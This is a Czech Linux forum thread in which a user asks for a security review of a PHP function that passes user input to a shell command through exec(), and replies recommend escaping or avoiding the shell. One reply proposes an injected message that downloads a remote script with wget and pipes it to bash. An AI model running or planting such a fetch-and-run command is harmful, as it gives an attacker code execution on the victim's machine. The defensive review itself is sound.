abclinuxu.cz AbcLinuxu.cz itbiz.cz ITBiz.cz HDmag.cz HDmag.cz abcprace.cz AbcPráce.cz
AbcLinuxu hledá autory!
Inzerujte na AbcPráce.cz od 950 Kč
Rozšířené hledání
×
    včera 18:11 | Nová verze

    Programovací jazyk Python byl vydán v nové major verzi 3.14.0. Podrobný přehled novinek v aktualizované dokumentaci.

    Ladislav Hagara | Komentářů: 2
    včera 16:33 | IT novinky

    Bylo oznámeno, že Qualcomm kupuje Arduino. Současně byla představena nová deska Arduino UNO Q se dvěma čipy: MPU Qualcomm Dragonwing QRB2210, na kterém může běžet Linux, a MCU STM32U585 a vývojové prostředí Arduino App Lab.

    Ladislav Hagara | Komentářů: 1
    včera 15:55 | Nová verze

    Multiplatformní open source voxelový herní engine Luanti byl vydán ve verzi 5.14.0. Podrobný přehled novinek v changelogu. Původně se jedná o Minecraftem inspirovaný Minetest v říjnu loňského roku přejmenovaný na Luanti.

    Ladislav Hagara | Komentářů: 0
    včera 13:22 | Nová verze

    Byla vydána nová stabilní verze 6.10 (YouTube) multiplatformního frameworku a GUI toolkitu Qt. Podrobný přehled novinek v poznámkách k vydání.

    Ladislav Hagara | Komentářů: 0
    6.10. 23:55 | Komunita

    Ubuntu 26.04 LTS bude (𝕏) Resolute Raccoon (rezolutní mýval).

    Ladislav Hagara | Komentářů: 3
    6.10. 21:00 | Nová verze

    Netwide Assembler (NASM) byl vydán v nové major verzi 3.00. Přehled novinek v poznámkách k vydání v aktualizované dokumentaci.

    Ladislav Hagara | Komentářů: 0
    6.10. 20:11 | Komunita

    Linuxová distribuce Frugalware (Wikipedie) ke konci roku 2025 oficiálně končí.

    Ladislav Hagara | Komentářů: 0
    6.10. 17:22 | Nová verze

    Byla vydána nová verze 3.0.6 svobodné aplikace pro úpravu a vytváření rastrové grafiky GIMP (GNU Image Manipulation Program). Přehled novinek v oznámení o vydání a v souboru NEWS na GitLabu. Nový GIMP bude brzy k dispozici také na Flathubu.

    Ladislav Hagara | Komentářů: 0
    6.10. 16:11 | IT novinky

    Americký výrobce čipů AMD uzavřel s americkou společností OpenAI smlouvu na několikaleté dodávky vyspělých mikročipů pro umělou inteligenci (AI). Součástí dohody je i předkupní právo OpenAI na přibližně desetiprocentní podíl v AMD.

    Ladislav Hagara | Komentářů: 1
    6.10. 12:22 | Nová verze Ladislav Hagara | Komentářů: 0
    Jaké řešení používáte k vývoji / práci?
     (39%)
     (46%)
     (15%)
     (17%)
     (21%)
     (15%)
     (18%)
     (16%)
     (16%)
    Celkem 191 hlasů
     Komentářů: 12, poslední 4.10. 20:35
    Rozcestník

    Dotaz: Skontrolujte mi prosím bezpečnosť funkcie

    11.12.2014 18:50 Peter
    Skontrolujte mi prosím bezpečnosť funkcie
    Přečteno: 467×
    Dobrý deň vám prajem.

    Veľmi sprostá otázka a prosba, ale istota je guľomet. Budete taký dobrý a môžete mi skontrolovať prosím či táto funkcia nemá nejakú bezpečnostnú dieru, proste či nejakým spôsobom môže útočník zneužiť bash (keďže samozrejme vstup $Number a $Message je priamo od používateľa):
    function smssend($Number,$Message) {                                                                                                                                 
      $Recode=array('ä'=>'a','Ä'=>'A','á'=>'a','Á'=>'A','à'=>'a','À'=>'A','ã'=>'a','Ã'=>'A','â'=>'a','Â'=>'A','č'=>'c','Č'=>'C','ć'=>'c','Ć'=>'C',                       
                    'ď'=>'d','Ď'=>'D','ě'=>'e','Ě'=>'E','é'=>'e','É'=>'E','ë'=>'e','Ë'=>'E','è'=>'e','È'=>'E','ê'=>'e','Ê'=>'E','í'=>'i','Í'=>'I',                       
                    'ï'=>'i','Ï'=>'I','ì'=>'i','Ì'=>'I','î'=>'i','Î'=>'I','ľ'=>'l','Ľ'=>'L','ĺ'=>'l','Ĺ'=>'L','ń'=>'n','Ń'=>'N','ň'=>'n','Ň'=>'N',                       
                    'ñ'=>'n','Ñ'=>'N','ó'=>'o','Ó'=>'O','ö'=>'o','Ö'=>'O','ô'=>'o','Ô'=>'O','ò'=>'o','Ò'=>'O','õ'=>'o','Õ'=>'O','ő'=>'o','Ő'=>'O',                       
                    'ř'=>'r','Ř'=>'R','ŕ'=>'r','Ŕ'=>'R','š'=>'s','Š'=>'S','ś'=>'s','Ś'=>'S','ť'=>'t','Ť'=>'T','ú'=>'u','Ú'=>'U','ů'=>'u','Ů'=>'U',                       
                    'ü'=>'u','Ü'=>'U','ù'=>'u','Ù'=>'U','ũ'=>'u','Ũ'=>'U','û'=>'u','Û'=>'U','ý'=>'y','Ý'=>'Y','ž'=>'z','Ž'=>'Z','ź'=>'z','Ź'=>'Z');                      
      exec('smssend '.preg_replace('/[^0-9]/','',$Number).' "'.preg_replace('/[^0-9a-zA-Z\+\-\*\/\.\,\:\; ]/','',strtr($Message,$Recode)).'"');                          
    }
    
    Vopred vám veľmi pekne ďakujem za ochotu.

    Řešení dotazu:


    Odpovědi

    Fuky avatar 11.12.2014 22:11 Fuky | skóre: 52 | blog: 4u
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie

    Pro převod na ASCII bych využíval standartní funkce dostupné v konkrétním prostředí:

    PHP

    setlocale(LC_CTYPE, 'cs_CZ');
    echo iconv('UTF-8', 'ASCII//TRANSLIT', "Příšerně žluťoučký kůň úpěl ďábelské ódy.");

    Bash

    $ echo "Příšerně žluťoučký kůň úpěl ďábelské ódy." |enca -C extern -E cstocs -x ascii -L cs_CZ
    Priserne zlutoucky kun upel dabelske ody.

    Python

    $ echo "Příšerně žluťoučký kůň úpěl ďábelské ódy." |python -c 'import sys, unicodedata; print unicodedata.normalize("NFKD", sys.stdin.read().decode("utf-8")).encode("ascii", "ignore")'
    Priserne zlutoucky kun upel dabelske ody.

    Co se týče zneužití fce exec(), tak mě na první pohled nic nenapadá.

    Fuky avatar 11.12.2014 22:28 Fuky | skóre: 52 | blog: 4u
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    Josef Kufner avatar 12.12.2014 01:10 Josef Kufner | skóre: 70
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    Na volání shellu je nutné zadávané hodnoty escapovat, podobně jako v SQL. Použij funkci escapeshellarg:
    exec('smssend '.escapeshellarg($number).' '.escapeshellarg($message));
    Hello world ! Segmentation fault (core dumped)
    Fuky avatar 12.12.2014 09:41 Fuky | skóre: 52 | blog: 4u
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie

    Podívej se na:

    ' "'.preg_replace('/[^0-9a-zA-Z\+\-\*\/\.\,\:\; ]/','',strtr($Message,$Recode)).'"'

    Řekl bych, že tazatel si uvědomuje podstatu problému a zná fci escapeshellarg(), ale chce mít ve zprávě potencionálně nebezpečné znaky '*', ';' bez zpětného lomítka. A mě nenapadá, jak je v té jeho konstrukci zneužít, když začíná a končí řetězec pomocí uvozovek a zároveň podle mě nenechal k dispozici žádný znak, který by umožnil řetězec ukončit ze strany uživatele a provést spuštění vlastního příkazu. Nebo tě napadá nějaká konkrétní možnost zneužití?

    Fuky avatar 12.12.2014 09:50 Fuky | skóre: 52 | blog: 4u
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie

    Teď mě napadá, tazatel ještě nezmínil jaké argumenty umožňuje přijímat program smssend, mmj. bych omezil velikost uživatelského vstupu na maximální požadovanou velikost zprávy.

    Security issues with using PHP's escapeshellarg
    Breaking escapeshellarg() news

    12.12.2014 15:30 petr_p | skóre: 59 | blog: pb
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    A proto je nejlepší shell z toho celého cirkusu vynechat. Obzvlášť, když netuší, jaký shell se vůbec použije (od toho se odvíjí escapovaní). Ten programovací jazyk (PHP?) nemá funkci na execve(2)?
    Josef Kufner avatar 12.12.2014 17:31 Josef Kufner | skóre: 70
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    Má: pcntl_exec. A máš pravdu, je to mnohem lepší řešení, jen to má takový drobný nedostatek: execve ani pcntl_exec neprohledává $PATH, což je celkem otrava.

    Navíc pokud chceš pracovat s stdio onoho programu, je lepší použít funkci proc_open, která umí přesměrovávat všechny filedescriptory dle libosti. Ale tady se zas použije shell a s tím je potřeba i escapovat argumenty.
    Hello world ! Segmentation fault (core dumped)
    12.12.2014 19:09 petr_p | skóre: 59 | blog: pb
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    Drobný nedostatek lze řešit posixovým execvp(3). (Jen je třeba pamatovat, že za neexistence proměnné PATH je chování nedefinováno; například glibc se pak dívá do pracovního adresáře.)
    12.12.2014 15:38 pet
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    V tom $Recode ti chybí mnoho znaků, např. ç a Ç. Použij raději standartní funkce jak doporučuje Fuky výše.
    Jendа avatar 13.12.2014 00:38 Jendа | skóre: 78 | blog: Jenda | JO70FB
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    Není, escapuješ diakritiku, ale já ti tam můžu napsat zprávu "; wget backdoor.hrach.eu -q -O - | bash;" a je to.
    13.12.2014 01:12 z
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    A je co? Prdlačky.
    Jendа avatar 13.12.2014 01:44 Jendа | skóre: 78 | blog: Jenda | JO70FB
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    Aha, dělá ještě preg_replace.

    Doporučil bych to ale dělat naopak, tj. mít seznam povolených znaků, nikoli zakázaných. (no a nebo nejlíp ty jiné metody spouštění příkazu, které jsou výše)
    Fuky avatar 13.12.2014 09:22 Fuky | skóre: 52 | blog: 4u
    Rozbalit Rozbalit vše Re: Skontrolujte mi prosím bezpečnosť funkcie
    Zkus se podívat podrobněji na to co skutečně dělá kód tazatele a pak přehodnoť text svých příspěvků. ;-)

    Založit nové vláknoNahoru

    Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

    ISSN 1214-1267   www.czech-server.cz
    © 1999-2015 Nitemedia s. r. o. Všechna práva vyhrazena.